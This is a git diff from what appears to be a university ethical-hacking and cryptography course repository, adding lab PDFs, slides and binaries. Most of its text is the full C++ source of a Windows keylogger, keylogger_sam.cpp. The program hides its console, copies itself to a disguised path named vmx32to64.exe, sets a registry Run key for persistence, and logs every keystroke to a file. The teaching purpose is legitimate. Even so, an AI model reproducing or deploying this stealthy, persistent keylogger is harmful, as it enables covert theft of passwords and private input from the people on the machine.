diff --git a/EthicalHacking/Labs/CrackPassword/Windows8_password.pptx b/EthicalHacking/Labs/CrackPassword/Windows8_password.pptx new file mode 100644 index 0000000..01d6035 Binary files /dev/null and b/EthicalHacking/Labs/CrackPassword/Windows8_password.pptx differ diff --git a/EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z b/EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z new file mode 100644 index 0000000..0362dd9 Binary files /dev/null and b/EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z differ diff --git a/EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf b/EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf new file mode 100644 index 0000000..cf4a6db Binary files /dev/null and b/EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf differ diff --git a/EthicalHacking/Labs/HackExeImmunity/Proj 8a_ Simple EXE Hacking with Immunity (15 pts.).pdf b/EthicalHacking/Labs/HackExeImmunity/Proj 8a_ Simple EXE Hacking with Immunity (15 pts.).pdf new file mode 100644 index 0000000..df543d3 Binary files /dev/null and b/EthicalHacking/Labs/HackExeImmunity/Proj 8a_ Simple EXE Hacking with Immunity (15 pts.).pdf differ diff --git a/EthicalHacking/Labs/HackExeImmunity/Proj 8b_ EXE With Trojan Code in a New Section (15 pts.).pdf b/EthicalHacking/Labs/HackExeImmunity/Proj 8b_ EXE With Trojan Code in a New Section (15 pts.).pdf new file mode 100644 index 0000000..2836b88 Binary files /dev/null and b/EthicalHacking/Labs/HackExeImmunity/Proj 8b_ EXE With Trojan Code in a New Section (15 pts.).pdf differ diff --git a/EthicalHacking/Labs/HackExeImmunity/link.TXT b/EthicalHacking/Labs/HackExeImmunity/link.TXT new file mode 100644 index 0000000..03acc10 --- /dev/null +++ b/EthicalHacking/Labs/HackExeImmunity/link.TXT @@ -0,0 +1 @@ +https://samsclass.info/127/127_S18.shtml#projects \ No newline at end of file diff --git a/EthicalHacking/Labs/Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf b/EthicalHacking/Labs/Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf new file mode 100644 index 0000000..a95678f Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf differ diff --git a/EthicalHacking/Labs/Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf b/EthicalHacking/Labs/Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf new file mode 100644 index 0000000..aeb95e1 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf differ diff --git a/EthicalHacking/Labs/Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf b/EthicalHacking/Labs/Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf new file mode 100644 index 0000000..f22d693 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf differ diff --git a/EthicalHacking/Labs/Keylogger/VS/bintext.exe b/EthicalHacking/Labs/Keylogger/VS/bintext.exe new file mode 100644 index 0000000..c0eaf80 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/bintext.exe differ diff --git a/EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx b/EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx new file mode 100644 index 0000000..47e7755 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx differ diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z new file mode 100644 index 0000000..be56bae Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z differ diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp new file mode 100644 index 0000000..9971508 --- /dev/null +++ b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp @@ -0,0 +1,132 @@ +#define _WIN32_WINNT 0x0500 +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "User32.lib") +#pragma comment(lib, "Advapi32.lib") + +/* Based on https://github.com/EgeBalci/Keylogger */ + +using namespace std; + +char logfile[] = "log.txt"; + +char oldfile[] = "keylogger_sam.exe"; +char newfile[] = "C:\\Logs\\vmx32to64.exe"; + +void LOG(string input) { + fstream LogFile; + LogFile.open(logfile, fstream::app); + if (LogFile.is_open()) { + LogFile << input; + LogFile.close(); + } +} + + +bool SpecialKeys(int S_Key) { + switch (S_Key) { + case VK_SPACE: + cout << " "; + LOG(" "); + return true; + case VK_RETURN: + cout << "\n"; + LOG("\n"); + return true; + case VK_OEM_PERIOD: + cout << "."; + LOG("."); + return true; + case VK_SHIFT: + cout << "#SHIFT#"; + LOG("#SHIFT#"); + return true; + case VK_BACK: + cout << "\b"; + LOG("\b"); + return true; + case VK_RBUTTON: + cout << "#R_CLICK#"; + LOG("#R_CLICK#"); + return true; + case VK_CAPITAL: + cout << "#CAPS_LOCK#"; + LOG("#CAPS_LOCK"); + return true; + case VK_TAB: + cout << "#TAB"; + LOG("#TAB"); + return true; + case VK_UP: + cout << "#UP"; + LOG("#UP_ARROW_KEY"); + return true; + case VK_DOWN: + cout << "#DOWN"; + LOG("#DOWN_ARROW_KEY"); + return true; + case VK_LEFT: + cout << "#LEFT"; + LOG("#LEFT_ARROW_KEY"); + return true; + case VK_RIGHT: + cout << "#RIGHT"; + LOG("#RIGHT_ARROW_KEY"); + return true; + case VK_CONTROL: + cout << "#CONTROL"; + LOG("#CONTROL"); + return true; + case VK_MENU: + cout << "#ALT"; + LOG("#ALT"); + return true; + default: + return false; + } +} + + + +int main() +{ + ShowWindow(GetConsoleWindow(), SW_HIDE); + char KEY = 'x'; + + /* COPY PROGRAM TO MISLEADING LOCATION */ + CopyFile(oldfile, newfile, FALSE); + + /* CREATE RUN KEY IN REGISTRY */ + + TCHAR runPath[35] = TEXT("C:\\Logs\\vmx32to64.exe"); + HKEY newValue; + RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue); + RegSetValueEx(newValue,"vmx32to64",0,REG_SZ,(LPBYTE)runPath,sizeof(runPath)); + RegCloseKey(newValue); + + while (true) { + Sleep(10); + for (int KEY = 8; KEY <= 190; KEY++) + { + if (GetAsyncKeyState(KEY) == -32767) { + if (SpecialKeys(KEY) == false) { + + fstream LogFile; + LogFile.open(logfile, fstream::app); + if (LogFile.is_open()) { + LogFile << char(KEY); + LogFile.close(); + } + + } + } + } + } + + return 0; +} \ No newline at end of file diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe new file mode 100644 index 0000000..d2a1cab Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe differ diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj new file mode 100644 index 0000000..e0ded91 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj differ diff --git a/EthicalHacking/Labs/Keylogger/keylogger.exe b/EthicalHacking/Labs/Keylogger/keylogger.exe deleted file mode 100644 index b84b421..0000000 Binary files a/EthicalHacking/Labs/Keylogger/keylogger.exe and /dev/null differ diff --git a/EthicalHacking/Labs/Keylogger/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf b/EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf rename to EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf diff --git a/EthicalHacking/Labs/Keylogger/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf b/EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf rename to EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf diff --git a/EthicalHacking/Labs/Keylogger/MinGW C++ Download and Installation Instructions.pdf b/EthicalHacking/Labs/Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/MinGW C++ Download and Installation Instructions.pdf rename to EthicalHacking/Labs/Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf diff --git a/EthicalHacking/Labs/Keylogger/keylogger.cpp b/EthicalHacking/Labs/Keylogger/minGW/keylogger.cpp similarity index 100% rename from EthicalHacking/Labs/Keylogger/keylogger.cpp rename to EthicalHacking/Labs/Keylogger/minGW/keylogger.cpp diff --git a/EthicalHacking/Labs/Keylogger/minGW/keylogger.obj b/EthicalHacking/Labs/Keylogger/minGW/keylogger.obj new file mode 100644 index 0000000..8a8b296 Binary files /dev/null and b/EthicalHacking/Labs/Keylogger/minGW/keylogger.obj differ diff --git a/EthicalHacking/Labs/Keylogger/keylogger_readme.txt b/EthicalHacking/Labs/Keylogger/minGW/keylogger_readme.txt similarity index 100% rename from EthicalHacking/Labs/Keylogger/keylogger_readme.txt rename to EthicalHacking/Labs/Keylogger/minGW/keylogger_readme.txt diff --git a/EthicalHacking/Labs/Keylogger/keylooger.pptx b/EthicalHacking/Labs/Keylogger/minGW/keylooger.pptx similarity index 100% rename from EthicalHacking/Labs/Keylogger/keylooger.pptx rename to EthicalHacking/Labs/Keylogger/minGW/keylooger.pptx diff --git a/EthicalHacking/Labs/Malwarelabs/PMA 20_ Malware Analysis Virtual Machine (15 pts).pdf b/EthicalHacking/Labs/Malwarelabs/PMA 20_ Malware Analysis Virtual Machine (15 pts).pdf new file mode 100644 index 0000000..5415852 Binary files /dev/null and b/EthicalHacking/Labs/Malwarelabs/PMA 20_ Malware Analysis Virtual Machine (15 pts).pdf differ diff --git a/EthicalHacking/Labs/Malwarelabs/PracticalMalwareAnalysis-Labs.7z b/EthicalHacking/Labs/Malwarelabs/PracticalMalwareAnalysis-Labs.7z new file mode 100644 index 0000000..a873233 Binary files /dev/null and b/EthicalHacking/Labs/Malwarelabs/PracticalMalwareAnalysis-Labs.7z differ diff --git a/EthicalHacking/Labs/Malwarelabs/VM_for_MalwareLabs.pptx b/EthicalHacking/Labs/Malwarelabs/VM_for_MalwareLabs.pptx new file mode 100644 index 0000000..2c28402 Binary files /dev/null and b/EthicalHacking/Labs/Malwarelabs/VM_for_MalwareLabs.pptx differ diff --git a/EthicalHacking/Labs/Malwarelabs/~$VM_for_MalwareLabs.pptx b/EthicalHacking/Labs/Malwarelabs/~$VM_for_MalwareLabs.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/EthicalHacking/Labs/Malwarelabs/~$VM_for_MalwareLabs.pptx differ diff --git a/EthicalHacking/Labs/PosionIvy/PoisonIvy.pptx b/EthicalHacking/Labs/PosionIvy/PoisonIvy.pptx index 95f826f..671bbf2 100644 Binary files a/EthicalHacking/Labs/PosionIvy/PoisonIvy.pptx and b/EthicalHacking/Labs/PosionIvy/PoisonIvy.pptx differ diff --git a/FSCS630_Cryptography/labs/00_Number_System/binary.ppt b/FSCS630_Cryptography/labs/00_Number_System/binary.ppt new file mode 100644 index 0000000..6e7d37b Binary files /dev/null and b/FSCS630_Cryptography/labs/00_Number_System/binary.ppt differ diff --git a/FSCS630_Cryptography/labs/01_Cryptograph_Introduction/1_Cryptology_Introduction.pptx b/FSCS630_Cryptography/labs/01_Cryptograph_Introduction/1_Cryptology_Introduction.pptx index a154950..7a239b7 100644 Binary files a/FSCS630_Cryptography/labs/01_Cryptograph_Introduction/1_Cryptology_Introduction.pptx and b/FSCS630_Cryptography/labs/01_Cryptograph_Introduction/1_Cryptology_Introduction.pptx differ diff --git a/FSCS630_Cryptography/labs/02_History_Substitution/02_Enigma.pptx b/FSCS630_Cryptography/labs/02_History_Substitution/02_Enigma.pptx index e359e54..8813a51 100644 Binary files a/FSCS630_Cryptography/labs/02_History_Substitution/02_Enigma.pptx and b/FSCS630_Cryptography/labs/02_History_Substitution/02_Enigma.pptx differ diff --git a/Helping/NumberSystems.ppt b/FSCS630_Cryptography/labs/Other/NumberSystems.ppt similarity index 98% rename from Helping/NumberSystems.ppt rename to FSCS630_Cryptography/labs/Other/NumberSystems.ppt index f2a226c..2268e3e 100644 Binary files a/Helping/NumberSystems.ppt and b/FSCS630_Cryptography/labs/Other/NumberSystems.ppt differ